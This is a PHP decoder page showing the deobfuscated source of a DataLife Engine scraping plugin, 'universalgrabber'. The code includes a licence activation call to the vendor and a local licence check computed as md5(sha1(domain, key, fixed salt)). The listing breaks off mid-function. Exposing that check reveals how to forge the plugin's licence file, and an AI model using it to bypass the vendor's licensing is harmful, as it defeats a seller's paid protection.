Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function vAQoAs($jccREKFEF) { $_WbzIFITQwO = strrev('etalfnizg'); $jccREKFEF ..
Decoded Output download
function qvElDcR($CmHRWcRCMGBX)
{
$_fwBXMzyzleKL = strrev('etalfnizg');
$CmHRWcRCMGBX = gzinflate(base64_decode($CmHRWcRCMGBX));
return $CmHRWcRCMGBX;
}
function KiVHIqf($rNoPYEtnGS)
{
$_OWpFpjqECHF = strrev('etalfnizg');
$rNoPYEtnGS = gzinflate(base64_decode($rNoPYEtnGS));
return $rNoPYEtnGS;
}
function dKolOBaO($ywcpwKiGMRYq)
{
$_JUaFYUnEFG = strrev('etalfnizg');
$ywcpwKiGMRYq = gzinflate(base64_decode($ywcpwKiGMRYq));
return $ywcpwKiGMRYq;
}
function tZPdBASnOn($IUYDSbPjBe)
{
$_BvObAki = strrev('etalfnizg');
$IUYDSbPjBe = gzinflate(base64_decode($IUYDSbPjBe));
return $IUYDSbPjBe;
}
function AUZbTCjciD($udPtyFWsUTe)
{
$_fvUhlxIhPn = strrev('etalfnizg');
$udPtyFWsUTe = gzinflate(base64_decode($udPtyFWsUTe));
return $udPtyFWsUTe;
}
function ASJQFa($UqqGsifT)
{
$_QPlSkt = strrev('etalfnizg');
$UqqGsifT = gzinflate(base64_decode($UqqGsifT));
return $UqqGsifT;
}
function nElNJzpRu($dZCqaGO)
{
$_sATOGa = strrev('etalfnizg');
$dZCqaGO = gzinflate(base64_decode($dZCqaGO));
return $dZCqaGO;
}
function cYgNHO($IgITpaXCk)
{
$_EzLqDu = strrev('etalfnizg');
$IgITpaXCk = gzinflate(base64_decode($IgITpaXCk));
return $IgITpaXCk;
}
function fZMaBmWtvp($yKgbScwx)
{
$_ubZFWep = strrev('etalfnizg');
$yKgbScwx = gzinflate(base64_decode($yKgbScwx));
return $yKgbScwx;
}
set_time_limit(0);
if(!defined('DATALIFEENGINE'))
{
header('HTTP/1.1 403 Forbidden');
header('Location: ../../../../');
die('Hacking attempt!');
}
if (!class_exists('DLEPlugins'))
{
include_once ENGINE_DIR . '/classes/plugins.class.php';
}
include_once ENGINE_DIR . '/modules/third-party/universalgrabber/data/config.php';
include_once ENGINE_DIR . '/modules/third-party/universalgrabber/classes/vendor/autoload.php';
include_once ENGINE_DIR . '/modules/third-party/universalgrabber/language/Russian/adminpanel.lng';
if(isset($PHP_SELF))
{
if((end(explode('/', $PHP_SELF)) == $config['admin_path']) AND $_REQUEST['mod'] == "universalgrabber")
{
include_once ENGINE_DIR . '/modules/third-party/universalgrabber/data/sections.php';
}
}
if(!isset($subaction) AND isset($_REQUEST['subaction']))
{
$subaction = totranslit ($_REQUEST['subaction']);
} elseif(isset($subaction))
{
$subaction = totranslit ($subaction);
} else $subaction = '';
if(!isset($doaction) AND isset($_REQUEST['doaction']))
{
$doaction = totranslit ($_REQUEST['doaction']);
} elseif(isset($doaction))
{
$doaction = totranslit ($doaction);
} else $doaction = '';
$parse = new ParseFilter();
if(!function_exists('license_domain'))
{
function license_domain()
{
if(isset($_SERVER['HTTP_HOST']) AND !empty($_SERVER['HTTP_HOST']))
{
if(mb_stripos($_SERVER['HTTP_HOST'], ":") !== FALSE)
{
$_SERVER['HTTP_HOST'] = explode(":", $_SERVER['HTTP_HOST'])[0];
}
$domain = explode('.', parse_url('http://' . $_SERVER['HTTP_HOST'], PHP_URL_HOST));
if(isset($domain[2]))
{
$domain = $domain[1] . '.' . $domain[2];
} elseif(isset($domain[1]))
{
$domain = $domain[0] . '.' . $domain[1];
} else
{
return '/';
}
$domain = 'http://' . $domain;
if(isSSL() AND stripos($domain, 'http://' ) !== FALSE)
{
$domain = str_replace("http://", "https://", $domain);
}
if(substr($domain, - 1, 1 ) != '/') $domain .= '/';
$domain = filter_var($domain, FILTER_SANITIZE_URL);
if(filter_var($domain, FILTER_VALIDATE_URL) !== FALSE)
{
return $domain;
}
}
return '/';
}
}
function retrieve_key_ug()
{
global $config, $ugconfig;
if(!empty($ugconfig['lic_key']))
{
$browser = json_decode(file_get_contents('https://devilcode.ru/?do=activate&product=universalgrabber&lic_key=' . $ugconfig['lic_key'] . '&domain=' . license_domain() . '&ip=' . get_ip()), true);
if($browser['status'] != "success")
{
@unlink(ENGINE_DIR . '/modules/third-party/universalgrabber/data/key.lic');
} else
{
@file_put_contents(ENGINE_DIR . '/modules/third-party/universalgrabber/data/key.lic', $browser['lic_key']);
return true;
}
}
return false;
}
function check_license_ug()
{
global $config, $ugconfig;
if(file_exists(ENGINE_DIR . '/modules/third-party/universalgrabber/data/key.lic'))
{
$date = new DateTime(date("Y-m-d", filemtime(ENGINE_DIR . '/modules/third-party/universalgrabber/data/key.lic')));
$date->modify('+2 days');
if(date("Y-m-d") >= $date->format('Y-m-d'))
{
@unlink(ENGINE_DIR . '/modules/third-party/universalgrabber/data/key.lic');
}
if(file_get_contents(ENGINE_DIR . '/modules/third-party/universalgrabber/data/key.lic') != md5(sha1(license_domain() . $ugconfig['lic_key'] . '_universalgrabber_devilcode.ru')))
{
@unlink(ENGINE_DIR . '/modules/third-party/universalgrabber/data/key.lic');
} else
{
return true;
}
}
if(!file_exists(ENGINE_DIR . '/modules/third-party/universalgrabber/data/key.lic'))
{
return retrieve_key_ug();
}
return false;
}
class DevilGrabber
{
protected $db;
protected $parsing_patterns = [];
function __construct()
{
$this->db = new DBwrapper();
}
public function filter_string(string $string, string $type = 'string')
{
global $config;
switch($type)
{
case 'string' :
$string = $this->db->safesql(trim(htmlspecialchars($string, ENT_QUOTES, $config['charset'])));
break;
case 'intval' :
$string = intval($string);
break;
case 'textarea' :
$string = trim(strip_tags(stripslashes($string)));
$string = htmlspecialchars($string, ENT_QUOTES, $config['charset']);
$string = str_replace("\r", '', $string);
$string = str_replace("\n", '<br>', $string);
break;
case 'settings' :
$string = trim(strip_tags(stripslashes($string)));
$string = htmlspecialchars($string, ENT_QUOTES, $config['charset']);
$find = [];
$replace = [];
$find[] = "'\r'";
$replace[] = "";
$find[] = "'\n'";
$replace[] = "";
$string = preg_replace($find, $replace, $string);
$string = str_replace("$", "$", $string);
$string = str_replace("{", "{", $string);
$string = str_replace("}", "}", $string);
$string = str_replace(chr(0), "", $string);
$string = str_replace(chr(92), "", $string);
$string = str_ireplace("decode", "decode", $string);
break;
}
return trim($string);
}
protected function execute_query(string $query, object $document, int $item = null)
{
if(empty($query))
{
return false;
}
$output = $document;
$query = stripslashes($query);
$query = preg_replace_callback('/(( ?)(.*?)::(\d+))/i', function ($matches) {
return " " . trim($matches[3]) . "|" . intval($matches[4]) . "||";
}, $query);
$query = array_map("trim", explode("||", $query));
if(isset($query[1]))
{
foreach($query as $values)
{
$values = explode("|", $values);
if(isset($values[1]))
{
$pattern = trim($values[0]);
$number = intval($values[1]);
if(!empty($pattern))
{
if(count((array) $output->find($pattern)[$number]) > 0)
{
$output = $output->find($pattern)[$number];
} else
{
#echo "Element: {$pattern}, with dom number: {$number} doesn't find";
return false;
}
}
} else
{
$pattern = trim($values[0]);
if(!empty($pattern))
{
if(count((array) $output->find($pattern)) > 0)
{
$output = $output->find($pattern);
} else
{
#echo "Element: {$pattern}, doesn't find";
return false;
}
}
}
}
} else
{
$pattern = trim($query[0]);
if(!empty($pattern))
{
if(count((array) $output->find($pattern)) > 0)
{
$output = $output->find($pattern);
} else
{
#echo "Element: {$pattern}, doesn't find";
return false;
}
}
}
if(is_null($item))
{
return $output;
} else
{
$item = intval($item);
return $output[$item];
}
}
protected function check_site_host(string $site_url, string $string)
{
$site_url = parse_url($site_url);
$site_url['host'] = strtr($site_url['host'], [
'www.' => "",
]);
if(mb_stripos($string, $site_url['host']) === FALSE)
{
if(mb_substr($string, 0, 1) != '/')
{
$site_url['host'] .= '/';
}
$string = $site_url['scheme'] . "://" . $site_url['host'] . $string;
}
return $string;
}
/*
protected function build_fragments_array(object $document, bool $is_xfields = false, string $element = '', string $pattern = '', string $fragments = '')
{
$output_array = [];
if(!$is_xfields)
{
if(isset($this->parsing_patterns[$element]['main'][$pattern]) AND !empty($this->parsing_patterns[$element]['main'][$pattern]))
{
if(isset($this->parsing_patterns[$element]['main']['is_full_story_element']) AND !(bool)$this->parsing_patterns[$element]['main']['is_full_story_element'])
{
$output_array['main'] = $this->execute_query($this->parsing_patterns[$element]['main'][$pattern], $document);
} else
{
$output_array['execute']['main'] = $this->parsing_patterns[$element]['main'][$pattern];
}
}
unset(
$this->parsing_patterns[$element][$fragments][0],
);
if(isset($this->parsing_patterns[$element][$fragments]) AND !empty($this->parsing_patterns[$element][$fragments]))
{
$this->parsing_patterns[$element][$fragments] = array_values($this->parsing_patterns[$element][$fragments]);
foreach($this->parsing_patterns[$element][$fragments] as $tkey => $fragment)
{
if(!empty($fragment[$pattern]))
{
if(isset($fragment['is_full_story_element']) AND !(bool)$fragment['is_full_story_element'])
{
$output_array['fragments'][$tkey] = $this->execute_query($fragment[$pattern], $document);
} else
{
$output_array['execute'][$tkey] = $fragment[$pattern];
}
}
}
}
} else
{
if(isset($this->parsing_patterns['xfields']) AND !empty($this->parsing_patterns['xfields']))
{
foreach($this->parsing_patterns['xfields'] as $xfkey => $xfield)
{
if(isset($xfield['main']['is_full_story_element']) AND !(bool)$xfield['main']['is_full_story_element'])
{
$output_array[$xfkey]['main'] = $this->execute_query($xfield['main']['xfield_pattern'], $document);
} else
{
$output_array[$xfkey]['execute']['main'] = $xfield['main']['xfield_pattern'];
}
}
foreach($this->parsing_patterns['xfields'] as $xfkey => $xfield)
{
$output_array[$xfkey]['fragments_output'] = [];
unset(
$xfield['xfield_fragments'][0],
);
if(!empty($xfield['xfield_fragments']))
{
$xfield['xfield_fragments'] = array_values($xfield['xfield_fragments']);
foreach($xfield['xfield_fragments'] as $xkey => $xfield_fragment)
{
if(!empty($xfield_fragment['xfield_pattern']))
{
if(isset($xfield_fragment['is_full_story_element']) AND !(bool)$xfield_fragment['is_full_story_element'])
{
$output_array[$xfkey]['fragments'][$xkey] = $this->execute_query($xfield_fragment['xfield_pattern'], $document);
} else
{
$output_array[$xfkey]['execute'][$xkey] = $xfield_fragment['xfield_pattern'];
}
}
}
}
}
}
}
return $output_array;
}
protected function build_array(object $document, bool $is_xfields = false, array $array, int $rkey, string $element = '', string $type = '')
{
if(!$is_xfields)
{
if(!empty($array['fragments']))
{
foreach($array['fragments'] as $fkey => $fragments)
{
if(!empty($fragments) AND is_array($fragments))
{
foreach($fragments as $tkey => $fragment)
{
if($tkey === $rkey)
{
if(!empty($element))
{
switch($this->parsing_patterns[$element]['main'][$type])
{
case 'text' :
$array['fragments_output'][$rkey][$fkey] = $this->filter_string($fragment->text());
break;
default :
$array['fragments_output'][$rkey][$fkey] = trim($fragment->innerHtml());
break;
}
} else
{
if(!empty($fragment))
{
$array['fragments_output'][$rkey][$fkey] = $this->filter_string($fragment->text());
} else
{
$array['fragments_output'][$rkey][$fkey] = "";
}
}
}
}
}
}
}
if(!empty($array['execute']))
{
foreach($array['execute'] as $tkey => $fragment)
{
if(!empty($element))
{
switch($this->parsing_patterns[$element]['main'][$type])
{
case 'text' :
$array['fragments_output'][$rkey][$tkey] = $this->filter_string($this->execute_query($fragment, $document)[0]->text());
break;
default :
#var_dump($this->execute_query($fragment, $document)[0]->innerHtml());
$array['fragments_output'][$rkey][$tkey] = trim($this->execute_query($fragment, $document)[0]->innerHtml());
break;
}
} else
{
if(!empty($fragment))
{
$array['fragments_output'][$rkey][$tkey] = $this->filter_string($this->execute_query($fragment, $document)[0]->text());
} else
{
$array['fragments_output'][$rkey][$tkey] = "";
}
}
}
}
} else
{
foreach($array as $xfkey => $xfield)
{
if(!empty($xfield['fragments']))
{
foreach($xfield['fragments'] as $fkey => $xfield_fragments)
{
if(is_array($xfield_fragments))
{
foreach($xfield_fragments as $xkey => $xfield_fragment)
{
if($xkey === $rkey)
{
if(!empty($xfield_fragment))
{
$array[$xfkey]['fragments_output'][$rkey][$fkey] = $this->filter_string($xfield_fragment->text());
} else
{
$array[$xfkey]['fragments_output'][$rkey][$fkey] = "";
}
}
}
}
}
}
if(!empty($xfield['execute']))
{
foreach($xfield['execute'] as $xkey => $xfield_fragment)
{
if(!empty($xfield_fragment))
{
$array[$xfkey]['fragments_output'][$rkey][$xkey] = $this->filter_string($this->execute_query($xfield_fragment, $document)[0]->text());
} else
{
$array[$xfkey]['fragments_output'][$rkey][$xkey] = "";
}
}
}
}
}
return $array;
}
protected function compile_string(array $array, bool $is_xfields = false, int $rkey, string $element = '', string $element_output = '', $additional_data = [])
{
if(!$is_xfields)
{
$output = '';
if(isset($this->parsing_patterns[$element]['main'][$element_output]) AND !empty($this->parsing_patterns[$element]['main'][$element_output]))
{
$output = preg_replace_callback('/{' . $element . '(\[\d+]|)}/i', function($matches) use ($array, $rkey, $element) {
$output = '';
if($matches[0] === "{{$element}}")
{
if(isset($array['fragments_output'][$rkey]['main']))
{
if(!empty($array['fragments_output'][$rkey]['main']))
{
$output .= trim($array['fragments_output'][$rkey]['main']);
} else
{
$output .= "";
}
} elseif(isset($array['main'][$rkey]))
{
if(!empty($array['main'][$rkey]))
{
if($element === "title")
{
$output .= trim($array['main'][$rkey]->text());
} else
{
if(isset($this->parsing_patterns[$element]['main'][$element . '_type']))
{
switch($this->parsing_patterns[$element]['main'][$element . '_type'])
{
case 'text' :
$output .= trim($array['main'][$rkey]->text());
break;
default :
$output .= trim($array['main'][$rkey]->innerhtml());
break;
}
}
}
} else
{
$output .= "";
}
}
}
if(isset($matches[1]) AND !empty($matches[1]))
{
$matches[1] = intval(strtr($matches[1], [
'[' => "",
']' => "",
]));
$count = intval($matches[1] - 1);
if($count < 0)
{
$count = 0;
}
if(isset($array['fragments_output'][$rkey][$count]) AND !empty($array['fragments_output'][$rkey][$count]))
{
$output .= trim($array['fragments_output'][$rkey][$count]);
} else
{
$output .= "";
}
}
return trim($output);
}, $this->parsing_patterns[$element]['main'][$element_output]);
} else
{
var_dump($array);
if(isset($array['fragments_output'][$rkey]['main']) AND !empty($array['fragments_output'][$rkey]['main']))
{
$output = trim($array['fragments_output'][$rkey]['main']);
}
}
if(!empty($additional_data))
{
foreach($additional_data as $akey => $adata)
{
switch($akey)
{
case 'title' :
case 'short_story' :
case 'full_story' :
$output = preg_replace_callback('/{' . $akey . '(\[\d+]|)}/i', function($matches) use ($adata, $rkey, $akey) {
$output = '';
if($matches[0] === "{{$akey}}")
{
if(isset($adata['fragments_output'][$rkey]['main']))
{
if(!empty($adata['fragments_output'][$rkey]['main']))
{
$output .= trim($adata['fragments_output'][$rkey]['main']);
} else
{
$output .= "";
}
} elseif(isset($adata['main'][$rkey]))
{
if(!empty($adata['main'][$rkey]))
{
if($akey === "title")
{
$output .= trim($adata['main'][$rkey]->text());
} else
{
if(isset($this->parsing_patterns[$element]['main'][$element . '_type']))
{
switch($this->parsing_patterns[$element]['main'][$element . '_type'])
{
case 'text' :
$output .= trim($adata['main'][$rkey]->text());
break;
default :
$output .= trim($adata['main'][$rkey]->innerhtml());
break;
}
}
}
} else
{
$output .= "";
}
}
}
if(isset($matches[1]) AND !empty($matches[1]))
{
$matches[1] = intval(strtr($matches[1], [
'[' => "",
']' => "",
]));
$count = intval($matches[1] - 1);
if($count < 0)
{
$count = 0;
}
if(isset($adata['fragments_output'][$rkey][$count]) AND !empty($adata['fragments_output'][$rkey][$count]))
{
$output .= trim($adata['fragments_output'][$rkey][$count]);
} else
{
$output .= "";
}
}
return trim($output);
}, $output);
break;
case 'xfields' :
foreach($adata as $xfkey => $xfield)
{
$output = preg_replace_callback('/{xf(\[((.*?))]|\[(\d+)])}/i', function($matches) use ($adata, $rkey, $xfkey) {
$output = '';
if($matches[0] === "{xf[{$xfkey}]}")
{
if(isset($adata[$xfkey]['fragments_output'][$rkey]['main']))
{
if(!empty($adata[$xfkey]['fragments_output'][$rkey]['main']))
{
$output .= trim($adata[$xfkey]['fragments_output'][$rkey]['main']);
} else
{
$output .= "";
}
} elseif(isset($adata[$xfkey]['main'][$rkey]))
{
if(!empty($adata[$xfkey]['main'][$rkey]))
{
$output .= trim($adata[$xfkey]['main'][$rkey]->text());
} else
{
$output .= "";
}
}
}
if((isset($matches[3]) AND !empty($matches[3])) AND mb_strpos($matches[3], "][") !== FALSE)
{
$matches[3] = explode("][", $matches[3]);
$count = intval($matches[3][1] - 1);
if($count < 0)
{
$count = 0;
}
if(isset($adata[$xfkey]['fragments_output'][$rkey][$count]) AND !empty($adata[$xfkey]['fragments_output'][$rkey][$count]))
{
$output .= trim($adata[$xfkey]['fragments_output'][$rkey][$count]);
} else
{
$output .= "";
}
}
return $output;
}, $output);
}
break;
}
}
}
} else
{
$output = [];
foreach($array as $xfkey => $xfield)
{
if(isset($this->parsing_patterns['xfields'][$xfkey]['main']['xfield_output']) AND !empty($this->parsing_patterns['xfields'][$xfkey]['main']['xfield_output']))
{
$output[$xfkey] = preg_replace_callback('/{xf(\[((.*?))]|\[(\d+)])}/i', function($matches) use ($array, $rkey, $xfkey) {
$output = '';
if($matches[0] === "{xf[{$xfkey}]}")
{
if(isset($array[$xfkey]['fragments_output'][$rkey]['main']))
{
if(!empty($array[$xfkey]['fragments_output'][$rkey]['main']))
{
$output .= trim($array[$xfkey]['fragments_output'][$rkey]['main']);
} else
{
$output .= "";
}
} elseif(isset($array[$xfkey]['main'][$rkey]))
{
if(!empty($array[$xfkey]['main'][$rkey]))
{
$output .= trim($array[$xfkey]['main'][$rkey]->text());
} else
{
$output .= "";
}
}
}
if((isset($matches[3]) AND !empty($matches[3])) AND mb_strpos($matches[3], "][") !== FALSE)
{
$matches[3] = explode("][", $matches[3]);
$count = intval($matches[3][1] - 1);
if($count < 0)
{
$count = 0;
}
if(isset($array[$xfkey]['fragments_output'][$rkey][$count]) AND !empty($array[$xfkey]['fragments_output'][$rkey][$count]))
{
$output .= trim($array[$xfkey]['fragments_output'][$rkey][$count]);
} else
{
$output .= "";
}
}
return $output;
}, $this->parsing_patterns['xfields'][$xfkey]['main']['xfield_output']);
} else
{
if(isset($array[$xfkey]['fragments_output'][$rkey]['main']) AND !empty($array[$xfkey]['fragments_output'][$rkey]['main']))
{
$output[$xfkey] = trim($array[$xfkey]['fragments_output'][$rkey]['main']);
}
}
}
}
return $output;
}
protected function download_image(string $imagesrc)
{
$client = new \GuzzleHttp\Client([
'connect_timeout' => 10,
'read_timeout' => 10,
]);
@mkdir(ROOT_DIR . '/uploads/posts/' . date("Y-m"), 0777);
@chmod(ROOT_DIR . '/uploads/posts/' . date("Y-m"), 0777);
$image_name = time() . "_" . basename($imagesrc);
$client->request('GET', $imagesrc, [
'sink' => ROOT_DIR . '/uploads/posts/' . date("Y-m") . '/' . $image_name
]);
return '/uploads/posts/' . date("Y-m") . '/' . $image_name;
}
protected function post_processing(string $html, string $el, string $element_type, string $site_url)
{
$html = strtr($html, [
'\n' => "<br/>",
'\r' => "<br/>",
]);
if(isset($this->parsing_patterns[$el]['main'][$element_type]))
{
$purifier_config = HTMLPurifier_Config::createDefault();
switch($this->parsing_patterns[$el]['main'][$element_type])
{
default :
if((bool) $this->parsing_patterns[$el]['post_processing']['load_images'])
{
$this->parsing_patterns[$el]['post_processing']['allowed_tags'] .= '|img';
$html_document = (new \DiDom\Document($html));
foreach($html_document->find('img') as $ikey => $img)
{
$element = new \DiDom\Element('img', 'Image', [
'src' => $this->download_image($this->check_site_host($site_url, $img->src)),
'alt' => "",
]);
$img->replace($element);
}
$html = $html_document->toElement()->innerHtml();
} else
{
$html_document = (new \DiDom\Document($html));
foreach($html_document->find('img') as $ikey => $img)
{
$element = new \DiDom\Element('img', 'Image', [
'src' => $this->check_site_host($site_url, $img->src),
'alt' => "",
]);
$img->replace($element);
}
$html = $html_document->toElement()->innerHtml();
}
if((bool) $this->parsing_patterns[$el]['post_processing']['strip_tags'])
{
$allowed_tags_array = explode("|", $this->parsing_patterns[$el]['post_processing']['allowed_tags']);
$allowed_tags = '';
foreach($allowed_tags_array as $tag)
{
$allowed_tags .= '<' . $tag . '>';
}
$html = strip_tags($html, $allowed_tags);
}
if((bool) $this->parsing_patterns[$el]['post_processing']['format_html'])
{
$purifier_config->set('AutoFormat.RemoveEmpty', true);
}
break;
case 'text' :
$purifier_config = HTMLPurifier_Config::createDefault();
$purifier_config->set('AutoFormat.AutoParagraph',true);
break;
}
$purifier_config->set('Core.RemoveInvalidImg', false);
$purifier = new HTMLPurifier($purifier_config);
return $purifier->purify($html);
}
return $html;
}
*/
protected function build_array(object $document, string $site_url)
{
return new class ($this, $document, $site_url) extends DevilGrabber {
protected $constructor;
protected $document;
protected $site_url;
protected $db;
function __construct(object $constructor, object $document, string $site_url)
{
$this->constructor = $constructor;
$this->document = $document;
$this->site_url = $site_url;
$this->db = $this->constructor->db;
}
public function prepare(bool $is_xfields = false, string $element = '', string $element_pattern = '', string $element_fragments = '')
{
$output_array = [];
if(!$is_xfields)
{
if(
isset($this->constructor->parsing_patterns[$element]['main'][$element_pattern]) AND
!empty($this->constructor->parsing_patterns[$element]['main'][$element_pattern])
)
{
if(
isset($this->constructor->parsing_patterns[$element]['main']['is_full_story_element']) AND
!(bool) $this->constructor->parsing_patterns[$element]['main']['is_full_story_element']
)
{
$output_array[$element]['main_query'] = $this->constructor->execute_query($this->constructor->parsing_patterns[$element]['main'][$element_pattern], $this->document);
} else
{
$output_array[$element]['execute']['main_query'] = $this->constructor->parsing_patterns[$element]['main'][$element_pattern];
}
}
unset(
$this->constructor->parsing_patterns[$element][$element_fragments][0],
);
if(
isset($this->constructor->parsing_patterns[$element][$element_fragments]) AND
!empty($this->constructor->parsing_patterns[$element][$element_fragments])
)
{
$this->constructor->parsing_patterns[$element][$element_fragments] = array_values($this->constructor->parsing_patterns[$element][$element_fragments]);
foreach($this->constructor->parsing_patterns[$element][$element_fragments] as $fkey => $fragment)
{
if(!empty($fragment[$element_pattern]))
{
if(
isset($fragment['is_full_story_element']) AND
!(bool)$fragment['is_full_story_element']
)
{
$output_array[$element]['fragments'][$fkey] = $this->constructor->execute_query($fragment[$element_pattern], $this->document);
} else
{
$output_array[$element]['execute'][$fkey] = $fragment[$element_pattern];
}
}
}
}
} else
{
if(
isset($this->constructor->parsing_patterns['xfields']) AND
!empty($this->constructor->parsing_patterns['xfields'])
)
{
foreach($this->constructor->parsing_patterns['xfields'] as $xfkey => $xfield)
{
if(
isset($xfield['main']['is_full_story_element']) AND
!(bool) $xfield['main']['is_full_story_element']
)
{
$output_array['xfields'][$xfkey]['main_query'] = $this->constructor->execute_query($xfield['main']['xfield_pattern'], $this->document);
} else
{
$output_array['xfields'][$xfkey]['execute']['main_query'] = $xfield['main']['xfield_pattern'];
}
}
foreach($this->constructor->parsing_patterns['xfields'] as $xfkey => $xfield)
{
unset(
$xfield['xfield_fragments'][0],
);
if(!empty($xfield['xfield_fragments']))
{
$xfield['xfield_fragments'] = array_values($xfield['xfield_fragments']);
foreach($xfield['xfield_fragments'] as $xkey => $xfield_fragment)
{
if(!empty($xfield_fragment['xfield_pattern']))
{
if(
isset($xfield_fragment['is_full_story_element']) AND
!(bool) $xfield_fragment['is_full_story_element']
)
{
$output_array['xfields'][$xfkey]['fragments'][$xkey] = $this->constructor->execute_query($xfield_fragment['xfield_pattern'], $this->document);
} else
{
$output_array['xfields'][$xfkey]['execute'][$xkey] = $xfield_fragment['xfield_pattern'];
}
}
}
}
}
}
}
return $output_array;
}
public function execute(array $array, int $rkey, bool $is_xfields = false, string $element = '', string $element_type = '')
{
if(!$is_xfields)
{
if(
isset($array[$element]['fragments']) AND
!empty($array[$element]['fragments']))
{
foreach($array[$element]['fragments'] as $fkey => $fragments)
{
if(!empty($fragments) AND is_array($fragments))
{
foreach($fragments as $tkey => $fragment)
{
if(!empty($element) AND !empty($fragment))
{
if($tkey === $rkey)
{
if($element === "title")
{
$this->constructor->parsing_patterns[$element]['main'][$element_type] = 'text';
}
switch($this->constructor->parsing_patterns[$element]['main'][$element_type])
{
case 'text' :
$array[$element]['fragments_output'][$rkey][$fkey] = $this->filter_string($fragment->text());
if($element !== "title")
{
$array[$element]['fragments_output'][$rkey][$fkey] = nl2br($array[$element]['fragments_output'][$rkey][$fkey]);
}
break;
default :
$array[$element]['fragments_output'][$rkey][$fkey] = trim($fragment->innerHtml());
break;
}
}
}
/*else
{
var_dump($element);
if(!empty($fragment))
{
$array[$element]['fragments_output'][$rkey][$fkey] = $this->filter_string($fragment->text());
} else
{
$array[$element]['fragments_output'][$rkey][$fkey] = "";
}
}*/
}
}
}
}
unset($fkey, $tkey);
if(
isset($array[$element]['execute']) AND
!empty($array[$element]['execute']))
{
foreach($array[$element]['execute'] as $tkey => $fragment)
{
if(!empty($element) AND !empty($fragment))
{
if($element === "title")
{
$this->constructor->parsing_patterns[$element]['main'][$element_type] = 'text';
}
switch($this->constructor->parsing_patterns[$element]['main'][$element_type])
{
case 'text' :
$array[$element]['fragments_output'][$rkey][$tkey] = $this->filter_string($this->execute_query($fragment, $this->document)[0]->text());
if($element !== "title")
{
$array[$element]['fragments_output'][$rkey][$tkey] = nl2br($array[$element]['fragments_output'][$rkey][$tkey]);
}
break;
default :
$array[$element]['fragments_output'][$rkey][$tkey] = trim($this->execute_query($fragment, $this->document)[0]->innerHtml());
break;
}
}
/*else
{
if(!empty($fragment))
{
$array['fragments_output'][$rkey][$tkey] = $this->filter_string($this->execute_query($fragment, $document)[0]->text());
} else
{
$array['fragments_output'][$rkey][$tkey] = "";
}
}*/
}
}
} else
{
if(
isset($array['xfields']) AND
!empty($array['xfields'])
)
{
$xfields_output = [];
$xfields_array = xfieldsload();
foreach($xfields_array as $xf_array)
{
$xfields_output[$xf_array[0]] = $xf_array;
}
foreach($array['xfields'] as $xfkey => $xfields)
{
if(isset($xfields['fragments']) AND !empty($xfields['fragments']))
{
foreach($xfields['fragments'] as $fkey => $xfield_fragments)
{
if(is_array($xfield_fragments))
{
foreach($xfield_fragments as $xkey => $xfield_fragment)
{
if($xkey === $rkey)
{
if(!empty($xfield_fragment))
{
$array['xfields'][$xfkey]['fragments_output'][$rkey][$fkey] = $this->filter_string($xfield_fragment->text());
}
}
}
}
}
}
unset($xkey);
if(isset($xfields['execute']) AND !empty($xfields['execute']))
{
foreach($xfields['execute'] as $xkey => $xfield_fragment)
{
if(!empty($xfield_fragment))
{
$query = $this->execute_query($xfield_fragment, $this->document);
if(is_array($query))
{
foreach($query as $query_plain)
{
switch($xfields_output[$xfkey][3])
{
case 'text' :
case 'textarea' :
$array['xfields'][$xfkey]['fragments_output'][$rkey][$xkey] = $this->filter_string($query_plain->text());
break;
case 'image' :
case 'imagegalery' :
switch($query_plain->tagName())
{
case 'img' :
$array['xfields'][$xfkey]['fragments_output'][$rkey][$xkey][] = $this->check_site_host($this->site_url, $this->filter_string($query_plain->src));
break;
default :
$array['xfields'][$xfkey]['fragments_output'][$rkey][$xkey] = $this->filter_string($query_plain->text());
break;
}
break;
case 'file' :
switch($query_plain->tagName())
{
case 'a' :
$array['xfields'][$xfkey]['fragments_output'][$rkey][$xkey][] = $this->check_site_host($this->site_url, $this->filter_string($query_plain->href));
break;
default :
$array['xfields'][$xfkey]['fragments_output'][$rkey][$xkey] = $this->filter_string($query_plain->text());
break;
}
break;
default :
$array['xfields'][$xfkey]['fragments_output'][$rkey][$xkey] = $this->filter_string($query_plain->text());
break;
}
/*switch($query_plain->tagName())
{
case 'img' :
$array['xfields'][$xfkey]['fragments_output'][$rkey][$xkey][] = $this->check_site_host($this->site_url, $this->filter_string($query_plain->src));
break;
case 'a' :
$array['xfields'][$xfkey]['fragments_output'][$rkey][$xkey][] = $this->check_site_host($this->site_url, $this->filter_string($query_plain->href));
break;
default :
$array['xfields'][$xfkey]['fragments_output'][$rkey][$xkey] = $this->filter_string($query_plain->text());
break;
}*/
}
} else
{
if($query !== FALSE)
{
switch($xfields_output[$xfkey][3])
{
case 'text' :
case 'textarea' :
$array['xfields'][$xfkey]['fragments_output'][$rkey][$xkey] = $this->filter_string($query->text());
break;
case 'image' :
case 'imagegalery' :
switch($query->tagName())
{
case 'img' :
$array['xfields'][$xfkey]['fragments_output'][$rkey][$xkey] = $this->check_site_host($this->site_url, $this->filter_string($query->src));
break;
default :
$array['xfields'][$xfkey]['fragments_output'][$rkey][$xkey] = $this->filter_string($query->text());
break;
}
break;
case 'file' :
switch($query->tagName())
{
case 'a' :
$array['xfields'][$xfkey]['fragments_output'][$rkey][$xkey][] = $this->check_site_host($this->site_url, $this->filter_string($query->href));
break;
default :
$array['xfields'][$xfkey]['fragments_output'][$rkey][$xkey] = $this->filter_string($query->text());
break;
}
break;
default :
$array['xfields'][$xfkey]['fragments_output'][$rkey][$xkey] = $this->filter_string($query->text());
break;
}
/*switch($query->tagName())
{
case 'img' :
$array['xfields'][$xfkey]['fragments_output'][$rkey][$xkey] = $this->check_site_host($this->site_url, $this->filter_string($query->src));
break;
case 'a' :
$array['xfields'][$xfkey]['fragments_output'][$rkey][$xkey][] = $this->check_site_host($this->site_url, $this->filter_string($query->href));
break;
default :
$array['xfields'][$xfkey]['fragments_output'][$rkey][$xkey] = $this->filter_string($query->text());
break;
}*/
}
}
}
}
}
}
}
}
return $array;
}
public function compile(array $array, int $rkey, bool $is_xfields = false, string $element = '', string $element_output = '', $additional_data = [], string $output = '')
{
if(!$is_xfields)
{
if(
isset($this->constructor->parsing_patterns[$element]['main'][$element_output]) AND
!empty($this->constructor->parsing_patterns[$element]['main'][$element_output])
)
{
$output = preg_replace_callback('/{' . $element . '(\[\d+]|)}/i', function($matches) use ($array, $rkey, $element) {
$return = '';
if($matches[0] === "{{$element}}")
{
if(isset($array[$element]['fragments_output'][$rkey]['main_query']))
{
